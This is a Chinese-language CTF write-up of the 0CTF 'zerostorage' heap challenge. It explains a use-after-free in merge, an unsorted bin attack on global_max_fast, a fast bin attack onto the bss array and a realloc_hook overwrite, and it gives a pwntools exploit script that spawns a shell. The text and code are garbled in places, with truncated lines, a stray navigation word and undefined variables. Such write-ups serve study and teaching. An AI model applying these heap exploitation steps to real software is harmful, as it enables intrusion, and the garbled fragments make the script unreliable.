BrieflyX

> 这次0CTF的题目应该说出的挺好，难度比较大，这道6分的Zerostorage看了很长时间没有想出利用的办法，最后看到了出题人的提示，又自己试了好久才明白。应该说需要对heap有一定的理解才能掌握它的利用过程。

binary是一个经典的存储管理程序，使用一个全局数组来管理所有的内容，每块内容都存有是否使用、内容长度以及一个地址指针构成。每次用malloc或realloc来分配一块堆区域用于存放数据，但这个地址指针使用一个程序开始时的随机数key来进行异或，在读取以及写入时再经过与key异或来还原，这就明显是限制了普通的unlink利用方法，因为这里就找不到所谓指向堆地址的指针了。程序控制了每块内容的大小在128 - 4096之间，这就意味着我们无法malloc一个Fast chunk。

漏洞

程序的漏洞是在merge的函数中，在程序读入了from ID与to ID后，完成一个合并的操作，然后将from ID指向的那个堆内存free。那么如果merge时输入的2个ID相同，在完成合并后那块内容指向的chunk将被free，但是我们依然可以读写那块chunk，造成use after free.之后直接view这块内容，即可leak出libc的地址，由于本题开启了PIE，从而得到了程序的地址。从后续的利用来看，我没有用到heap上的地址，所以heap上的地址其实可以不用leak。

Unsorted Bin Attack

在上述操作后，chunk被放入unsorted bin中，此时如果修改这个chunk的bk指针并重新malloc这个chunk，就能造成一个任意内存写入，因为unsorted bin的取出操作没有使用unlink宏，而是自己实现的几行代码

```
bck = victim->bk;
...
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
```

所以当我们控制了victim的bk时，那个地址加16(fd)的位置就会被改写成unsorted bin的地址，但是就可能因为victim->bk->fd不可写而造成SIGSE要仔细寻找写入的位置。

上一篇

最大的fast chunk的大小，将这里改写为unsorted bin的地址(一般来说是一个很之后的chunk都被当作chunk，即可进行Fast bin attack。

Fast Bin Attack

由于unsorted bin在改写操作后即被破坏，我们需要事先布置好内存的布局。在改写global_max_fast之后，我们再进行一次merge的操作，这次chunk将进入'Fast bin'(实际它的index并不在正常的Fast bin数组内，但没有关系)，然后改写fd指针指向程序管理内容的数组，我们需要事先在数组上insert一个大小为144的块作为Fast chunk的size以通过检查，然后将fd指到这里。

之后下下次的malloc即可取得程序bss上的指针，注意分配过来的时候需要读入对应的大小，我们需要故意让这段区域跨过这个块自己，因为程序在读入数据之后还会将其元数据回填，这样我们就能通过view来得到异或之后的地址，随即计算出key的值。然后update这个块，修改某一个指针为realloc_hook的地址异或key的值，接着update对应的块，将system的地址填入realloc_hook。最后扩大事先布置好的存有 `/bin/sh` 的块，即可得到shell。

Exploit:

```
#!/usr/bin/env python
# coding: utf-8

from pwn import *

p = process('./zerostorage')

def insert(length, data=''):
    data = data.ljust(length, 'A')
    p.recvuntil('Your choice: ')
    p.sendline('1')
    p.sendline(str(length))
    p.send(data)

def update(idx, length, data=''):
    data = data.ljust(length, 'B')
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(length))
    p.send(data)

def merge(fro, to):
    p.recvuntil('Your choice: ')
```

```
dline('4')
dline(str(idx))

fast = 0x7ffff7dd8860
rted_bin = 0x7ffff7dd6678
lochook = 0x7ffff7dd6608
libc_system = 0x7ffff7a76560
zero_entry_head = 0x555555757060
unsorted_bin_offset = 0x3a1678
module_offset = 0x5ca000
head_offset = 0x203060

insert(8)                   # 0
insert(8, '/bin/sh;')       # 0, 1
insert(8)                   # 0, 1, 2
insert(8)                   # 0, 1, 2, 3
insert(8)                   # 0, 1, 2, 3, 4
insert(0x90)                # 0, 1, 2, 3, 4, 5
delete(0)                   # 1, 2, 3, 4, 5
merge(2,2)                  # 0, 1, 3, 4, 5

p.sendline('5')
p.sendline('0')
p.recvuntil('Entry No.0:\n')
heap = u64(p.recv(8))
unsorted_bin = u64(p.recv(8))
print '[+] unsorted bin @ %#x' % unsorted_bin
print '[+] heap @ %#x' % heap
libc = unsorted_bin - libc_unsorted_bin
max_fast = libc + libc_max_fast
system = libc + libc_system
reallochook = libc + libc_reallochook
entry_head = unsorted_bin - unsorted_bin_offset + module_offset + head_offset
print '[+] system @ %#x' % system
print '[+] reallochook @ %#x' % reallochook
print '[+] global_max_fast @ %#x' % max_fast
print '[+] program\'s entry head @ %#x' % entry_head

insert(8)       # 0, 1, 2, 3, 4, 5

# overwrite global_max_fast
update(0, 16, 'C'*8 + p64(max_fast - 0x10))
insert(8)       # 0, 1, 2, 3, 4, 5, 6

# free, put into "fast bin"
merge(3,3)      # 0, 1, 2, 4, 5, 6, 7
# overwrite fd to bss
update(7, 16, p64(entry_head + 24 * 5))

# get the fake chunk
insert(8)       # 0, 1, 2, 3, 4, 5, 6, 7

should overlap into no.8 itself to get the
 7, 8
```

```
il('Entry No.8:\n')
p.recv(80)
(chunk8[-8:]) ^ (entry_head + 24 * 5 + 16)
] Got key: %#x' % key
```

```
95  # overwrite no.6 to realloc_hook
96  update(8, 80, p64(0) + p64(1) + p64(8) + p64(reallochook ^ key))
97
98  # edit no.6
99  update(6, 8, p64(system))
100
101 # realloc no.1, get shell
102 update(1, 130)
103
104 p.sendline('')
105 p.interactive()
```

标签

0ctf ctf exploit heap pwn writeup

‹ 上一篇 下一篇 ›